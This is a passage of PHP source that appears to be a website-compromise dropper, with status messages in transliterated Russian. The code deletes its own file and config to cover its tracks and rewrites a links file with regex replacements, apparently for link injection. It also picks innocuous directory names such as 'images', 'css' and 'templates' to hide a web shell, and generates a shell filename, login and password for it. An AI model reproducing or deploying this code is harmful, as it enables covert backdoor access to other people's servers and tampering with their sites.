@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1),"\nHeader(\"Location: http://".$_SERVER['HTTP_HOST']."/".$loader_path."/".$work_dir."/\");\n?>");
exit(0);
}
function unlink_all ($error) {
global $work_dir;
@unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1));
@unlink("this.config");
if($error){
deltree($work_dir);
echo "podterli za soboi-oshibka
\n";
}else echo "podterli za soboi-all ok
\n";
}
function add_links($pattern, $replace) {
global $dconfig,$ini_array;
$file_tmp="tmp.txt";
$file=$ini_array['4links'];
$f_content=file_get_contents($file);
$f_content=preg_replace ($pattern , $replace , $f_content);
$fp = fopen($file_tmp,'w');
if(!$fp)
report_error_chlink("ch_links-oshibko_vremmenogo");
if (flock($fp, LOCK_EX)) {
@fwrite($fp, $f_content);
flock($fp, LOCK_UN);
}
else
report_error_chlink("ch_links-oshibko_loka");
@fclose($fp);
if (!copy($file_tmp,$file)){ unlink($file_tmp);
report_error_chlink("ch_links-oshibko_kopirovaniyai");
}
else
unlink($file_tmp);
}
$work_dir_arr[]="inc";
$work_dir_arr[]="include";
$work_dir_arr[]="public";
$work_dir_arr[]="img";
$work_dir_arr[]="images";
$work_dir_arr[]="style";
$work_dir_arr[]="css";
$work_dir_arr[]="html";
$work_dir_arr[]="tpl";
$work_dir_arr[]="templates";
$work_dir_arr[]="media";
$work_dir_arr[]="photos";
$work_dir_arr[]="blog";
$work_dir_arr[]="forum";
$work_dir_arr[]="archive";
$did=md5(str_replace("www.", "", $_SERVER['HTTP_HOST']));
$shell_name=substr($did, 1, 5).".php";
$shell_pass="p".rand(10000, 64000);
$shell_login="l".rand(10000, 64000);
for($wdog=0;$wdog